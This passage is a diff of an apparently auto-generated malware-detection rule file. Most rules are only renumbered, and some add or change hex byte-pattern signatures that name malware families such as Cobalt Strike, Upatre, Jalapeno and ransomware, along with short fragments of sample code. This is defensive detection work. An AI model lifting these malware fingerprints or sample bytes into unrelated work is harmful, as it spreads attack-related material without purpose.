_InfrastructureShared_28485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350394,7 +372822,7 @@ rule _InfrastructureShared_26770{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26771{ +rule _InfrastructureShared_28486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350405,7 +372833,7 @@ rule _InfrastructureShared_26771{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29801) >=1 } -rule _InfrastructureShared_26772{ +rule _InfrastructureShared_28487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350416,7 +372844,7 @@ rule _InfrastructureShared_26772{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25970) >=1 } -rule _InfrastructureShared_26773{ +rule _InfrastructureShared_28488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350427,7 +372855,7 @@ rule _InfrastructureShared_26773{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*17778) >=1 } -rule _InfrastructureShared_26774{ +rule _InfrastructureShared_28489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350438,7 +372866,7 @@ rule _InfrastructureShared_26774{ ((#a_01_0 & 1)*22051+(#a_01_1 & 1)*21049) >=1 } -rule _InfrastructureShared_26775{ +rule _InfrastructureShared_28490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350448,7 +372876,7 @@ rule _InfrastructureShared_26775{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26776{ +rule _InfrastructureShared_28491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350458,7 +372886,7 @@ rule _InfrastructureShared_26776{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26777{ +rule _InfrastructureShared_28492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350468,7 +372896,7 @@ rule _InfrastructureShared_26777{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26778{ +rule _InfrastructureShared_28493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -350478,7 +372906,7 @@ rule _InfrastructureShared_26778{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_26779{ +rule _InfrastructureShared_28494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -350489,7 +372917,7 @@ rule _InfrastructureShared_26779{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24933) >=10 } -rule _InfrastructureShared_26780{ +rule _InfrastructureShared_28495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -350500,7 +372928,7 @@ rule _InfrastructureShared_26780{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27503) >=10 } -rule _InfrastructureShared_26781{ +rule _InfrastructureShared_28496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350510,7 +372938,7 @@ rule _InfrastructureShared_26781{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26782{ +rule _InfrastructureShared_28497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350520,7 +372948,7 @@ rule _InfrastructureShared_26782{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26783{ +rule _InfrastructureShared_28498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350530,7 +372958,7 @@ rule _InfrastructureShared_26783{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26784{ +rule _InfrastructureShared_28499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350540,7 +372968,7 @@ rule _InfrastructureShared_26784{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26785{ +rule _InfrastructureShared_28500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350551,7 +372979,7 @@ rule _InfrastructureShared_26785{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20527) >=2 } -rule _InfrastructureShared_26786{ +rule _InfrastructureShared_28501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 01 00 21 " @@ -350561,7 +372989,7 @@ rule _InfrastructureShared_26786{ ((#a_01_0 & 1)*16675) >=3 } -rule _InfrastructureShared_26787{ +rule _InfrastructureShared_28502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 02 00 21 " @@ -350572,7 +373000,7 @@ rule _InfrastructureShared_26787{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28532) >=10 } -rule _InfrastructureShared_26788{ +rule _InfrastructureShared_28503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350582,7 +373010,7 @@ rule _InfrastructureShared_26788{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26789{ +rule _InfrastructureShared_28504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350592,7 +373020,7 @@ rule _InfrastructureShared_26789{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26790{ +rule _InfrastructureShared_28505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350602,7 +373030,17 @@ rule _InfrastructureShared_26790{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26791{ +rule _InfrastructureShared_28506{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 5a 41 43 21 4d 54 42 00 01 00 0e 8b 3e 83 c6 04 8b 1e 31 fb 83 c6 04 56 8b 00 00 61 41 00 00 01 00 01 00 01 00 21 23 54 45 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_28507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350612,17 +373050,28 @@ rule _InfrastructureShared_26791{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26792{ +rule _InfrastructureShared_28508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 69 64 65 4c 6f 61 64 69 6e 67 2e 4d 56 21 4d 53 52 00 01 00 10 72 e8 ff d7 8b 4d fc 5f 33 cd 5e e8 52 02 00 00 00 00 61 41 00 00 02 00 02 00 02 00 21 23 48 53 } //21539 + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 69 64 65 4c 6f 61 64 69 6e 67 2e 4d 56 21 4d 53 52 00 01 00 10 72 e8 ff d7 8b 4d fc 5f 33 cd 5e e8 52 02 00 00 00 00 61 41 00 00 01 00 01 00 02 00 21 23 53 4c } //21539 condition: ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26793{ +rule _InfrastructureShared_28509{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 4d 58 21 4d 54 42 00 01 00 08 7e 35 00 00 04 08 8e 69 01 00 08 07 6f 04 00 00 0a 6a 13 00 00 61 41 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 49 73 54 65 } //21283 + $a_01_1 = {72 76 00 01 00 17 54 45 52 4d 53 52 56 2e 64 6c 6c 00 53 65 72 76 69 63 65 4d 61 69 6e 01 00 0b 74 65 72 6d 73 72 76 2e 70 64 62 00 00 61 41 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 61 6c 73 65 72 2e 41 00 01 00 09 66 72 6d 73 65 72 61 73 61 01 00 06 00 73 65 6e 68 61 01 00 0b 06 75 6e 74 68 6f 74 00 00 6a 00 00 00 61 } //28018 + condition: + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28018) >=1 + +} +rule _InfrastructureShared_28510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350633,19 +373082,19 @@ rule _InfrastructureShared_26793{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11890) >=2 } -rule _InfrastructureShared_26794{ +rule _InfrastructureShared_28511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 42 61 6c 73 65 72 2e 41 00 01 00 09 66 72 6d 73 65 72 61 73 61 01 00 06 00 73 65 6e 68 61 01 00 0b 06 75 6e 74 68 6f 74 00 00 6a 00 00 00 61 42 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 } //18467 $a_01_1 = {6d 74 79 2e 53 50 21 4d 53 52 00 01 00 17 03 20 c9 b6 c6 68 61 04 61 0a 7e 9c 02 00 04 0c 08 74 02 00 00 1b 25 00 00 61 42 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 41 42 43 44 2d 44 6f 77 6e 6c 6f 61 64 65 72 2e 41 00 01 00 1e 41 00 42 00 43 00 44 00 2d 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 } //20015 - $a_01_2 = {00 72 00 00 00 61 42 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 69 6d 64 61 21 61 6e 74 69 56 50 43 00 01 00 1c b8 01 00 00 00 0f 3f 07 0b c7 45 fc ff ff ff ff 83 4d fc ff b0 01 eb 0d 33 c0 40 c3 00 00 61 42 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a } //100 + $a_01_2 = {00 72 00 00 00 61 42 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 69 6d 64 61 21 61 6e 74 69 56 50 43 00 01 00 1c b8 01 00 00 00 0f 3f 07 0b c7 45 fc ff ff ff ff 83 4d fc ff b0 01 eb 0d 33 c0 40 c3 00 00 61 42 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //100 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*20015+(#a_01_2 & 1)*100) >=3 } -rule _InfrastructureShared_26795{ +rule _InfrastructureShared_28512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350655,7 +373104,7 @@ rule _InfrastructureShared_26795{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26796{ +rule _InfrastructureShared_28513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350665,17 +373114,27 @@ rule _InfrastructureShared_26796{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26797{ +rule _InfrastructureShared_28514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 53 69 6d 64 61 21 61 6e 74 69 56 50 43 00 01 00 1c b8 01 00 00 00 0f 3f 07 0b c7 45 fc ff ff ff ff 83 4d fc ff b0 01 eb 0d 33 c0 40 c3 00 00 61 42 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 } //18467 + $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 53 69 6d 64 61 21 61 6e 74 69 56 50 43 00 01 00 1c b8 01 00 00 00 0f 3f 07 0b c7 45 fc ff ff ff ff 83 4d fc ff b0 01 eb 0d 33 c0 40 c3 00 00 61 42 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //18467 condition: ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26798{ +rule _InfrastructureShared_28515{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 41 4d 58 21 4d 54 42 00 01 00 14 09 03 11 04 6f 3d 00 00 0a 6f 3e 00 00 0a 11 04 17 58 13 04 00 00 61 42 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a } //21283 + condition: + ((#a_01_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_28516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350685,7 +373144,7 @@ rule _InfrastructureShared_26798{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26799{ +rule _InfrastructureShared_28517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350695,7 +373154,7 @@ rule _InfrastructureShared_26799{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26800{ +rule _InfrastructureShared_28518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350705,7 +373164,7 @@ rule _InfrastructureShared_26800{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26801{ +rule _InfrastructureShared_28519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350715,7 +373174,7 @@ rule _InfrastructureShared_26801{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26802{ +rule _InfrastructureShared_28520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -350726,7 +373185,7 @@ rule _InfrastructureShared_26802{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30060) >=1 } -rule _InfrastructureShared_26803{ +rule _InfrastructureShared_28521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350736,7 +373195,7 @@ rule _InfrastructureShared_26803{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_26804{ +rule _InfrastructureShared_28522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350747,7 +373206,7 @@ rule _InfrastructureShared_26804{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12082) >=2 } -rule _InfrastructureShared_26805{ +rule _InfrastructureShared_28523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -350757,7 +373216,7 @@ rule _InfrastructureShared_26805{ ((#a_01_0 & 1)*16675) >=10 } -rule _InfrastructureShared_26806{ +rule _InfrastructureShared_28524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350767,7 +373226,7 @@ rule _InfrastructureShared_26806{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26807{ +rule _InfrastructureShared_28525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350777,7 +373236,7 @@ rule _InfrastructureShared_26807{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26808{ +rule _InfrastructureShared_28526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350787,7 +373246,7 @@ rule _InfrastructureShared_26808{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26809{ +rule _InfrastructureShared_28527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -350798,7 +373257,7 @@ rule _InfrastructureShared_26809{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12851) >=1 } -rule _InfrastructureShared_26810{ +rule _InfrastructureShared_28528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -350808,7 +373267,7 @@ rule _InfrastructureShared_26810{ ((#a_01_0 & 1)*16675) >=2 } -rule _InfrastructureShared_26811{ +rule _InfrastructureShared_28529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350818,7 +373277,7 @@ rule _InfrastructureShared_26811{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_26812{ +rule _InfrastructureShared_28530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350829,7 +373288,7 @@ rule _InfrastructureShared_26812{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*21842) >=2 } -rule _InfrastructureShared_26813{ +rule _InfrastructureShared_28531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350839,7 +373298,7 @@ rule _InfrastructureShared_26813{ ((#a_01_0 & 1)*25635) >=2 } -rule _InfrastructureShared_26814{ +rule _InfrastructureShared_28532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350850,7 +373309,7 @@ rule _InfrastructureShared_26814{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*25964) >=2 } -rule _InfrastructureShared_26815{ +rule _InfrastructureShared_28533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 01 00 21 " @@ -350860,7 +373319,7 @@ rule _InfrastructureShared_26815{ ((#a_01_0 & 1)*21539) >=10 } -rule _InfrastructureShared_26816{ +rule _InfrastructureShared_28534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350870,7 +373329,7 @@ rule _InfrastructureShared_26816{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26817{ +rule _InfrastructureShared_28535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350880,7 +373339,7 @@ rule _InfrastructureShared_26817{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26818{ +rule _InfrastructureShared_28536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350890,7 +373349,7 @@ rule _InfrastructureShared_26818{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26819{ +rule _InfrastructureShared_28537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350900,7 +373359,7 @@ rule _InfrastructureShared_26819{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26820{ +rule _InfrastructureShared_28538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350910,7 +373369,7 @@ rule _InfrastructureShared_26820{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26821{ +rule _InfrastructureShared_28539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350920,7 +373379,7 @@ rule _InfrastructureShared_26821{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26822{ +rule _InfrastructureShared_28540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350931,7 +373390,7 @@ rule _InfrastructureShared_26822{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28781) >=2 } -rule _InfrastructureShared_26823{ +rule _InfrastructureShared_28541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -350942,7 +373401,7 @@ rule _InfrastructureShared_26823{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12082) >=2 } -rule _InfrastructureShared_26824{ +rule _InfrastructureShared_28542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 03 00 21 " @@ -350953,7 +373412,7 @@ rule _InfrastructureShared_26824{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*13166) >=10 } -rule _InfrastructureShared_26825{ +rule _InfrastructureShared_28543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350963,7 +373422,7 @@ rule _InfrastructureShared_26825{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26826{ +rule _InfrastructureShared_28544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350973,7 +373432,7 @@ rule _InfrastructureShared_26826{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26827{ +rule _InfrastructureShared_28545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350983,7 +373442,7 @@ rule _InfrastructureShared_26827{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26828{ +rule _InfrastructureShared_28546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -350993,7 +373452,7 @@ rule _InfrastructureShared_26828{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26829{ +rule _InfrastructureShared_28547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351003,7 +373462,7 @@ rule _InfrastructureShared_26829{ ((#a_01_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26830{ +rule _InfrastructureShared_28548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351013,7 +373472,7 @@ rule _InfrastructureShared_26830{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26831{ +rule _InfrastructureShared_28549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351023,7 +373482,7 @@ rule _InfrastructureShared_26831{ ((#a_01_0 & 1)*28451) >=1 } -rule _InfrastructureShared_26832{ +rule _InfrastructureShared_28550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351033,7 +373492,7 @@ rule _InfrastructureShared_26832{ ((#a_01_0 & 1)*19521) >=1 } -rule _InfrastructureShared_26833{ +rule _InfrastructureShared_28551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351044,7 +373503,7 @@ rule _InfrastructureShared_26833{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28530) >=2 } -rule _InfrastructureShared_26834{ +rule _InfrastructureShared_28552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351054,7 +373513,7 @@ rule _InfrastructureShared_26834{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_26835{ +rule _InfrastructureShared_28553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351064,7 +373523,7 @@ rule _InfrastructureShared_26835{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26836{ +rule _InfrastructureShared_28554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351074,7 +373533,7 @@ rule _InfrastructureShared_26836{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26837{ +rule _InfrastructureShared_28555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351084,7 +373543,7 @@ rule _InfrastructureShared_26837{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26838{ +rule _InfrastructureShared_28556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351094,17 +373553,27 @@ rule _InfrastructureShared_26838{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26839{ +rule _InfrastructureShared_28557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " strings : - $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 21 44 65 63 00 01 00 23 8b b5 40 ff ff ff 89 f7 8b 85 4c ff ff ff bb 04 00 00 00 f6 f3 89 c1 8b 9d 5c ff ff ff ad 31 d8 ab e2 fa 00 00 61 46 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e } //18467 + $a_01_0 = {54 52 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 21 44 65 63 00 01 00 23 8b b5 40 ff ff ff 89 f7 8b 85 4c ff ff ff bb 04 00 00 00 f6 f3 89 c1 8b 9d 5c ff ff ff ad 31 d8 ab e2 fa 00 00 61 46 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a } //18467 condition: ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_26840{ +rule _InfrastructureShared_28558{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 5a 41 44 21 4d 54 42 00 01 00 13 f7 e2 41 8b c1 44 8b c2 33 d2 41 c1 e8 05 41 f7 f0 3b d1 00 00 61 46 00 00 01 00 01 00 01 } //21539 + condition: + ((#a_01_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_28559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351114,7 +373583,7 @@ rule _InfrastructureShared_26840{ ((#a_01_0 & 1)*22051) >=1 } -rule _InfrastructureShared_26841{ +rule _InfrastructureShared_28560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351124,7 +373593,7 @@ rule _InfrastructureShared_26841{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26842{ +rule _InfrastructureShared_28561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -351135,7 +373604,7 @@ rule _InfrastructureShared_26842{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*-5877) >=1 } -rule _InfrastructureShared_26843{ +rule _InfrastructureShared_28562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -351146,7 +373615,7 @@ rule _InfrastructureShared_26843{ ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*25458) >=1 } -rule _InfrastructureShared_26844{ +rule _InfrastructureShared_28563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -351157,7 +373626,7 @@ rule _InfrastructureShared_26844{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*1) >=2 } -rule _InfrastructureShared_26845{ +rule _InfrastructureShared_28564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -351169,7 +373638,7 @@ rule _InfrastructureShared_26845{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*99+(#a_01_2 & 1)*28718) >=2 } -rule _InfrastructureShared_26846{ +rule _InfrastructureShared_28565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -351180,7 +373649,7 @@ rule _InfrastructureShared_26846{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*8993) >=30 } -rule _InfrastructureShared_26847{ +rule _InfrastructureShared_28566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351190,7 +373659,7 @@ rule _InfrastructureShared_26847{ ((#a_01_0 & 1)*17443) >=1 } -rule _InfrastructureShared_26848{ +rule _InfrastructureShared_28567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -351200,7 +373669,7 @@ rule _InfrastructureShared_26848{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_26849{ +rule _InfrastructureShared_28568{ meta: description = 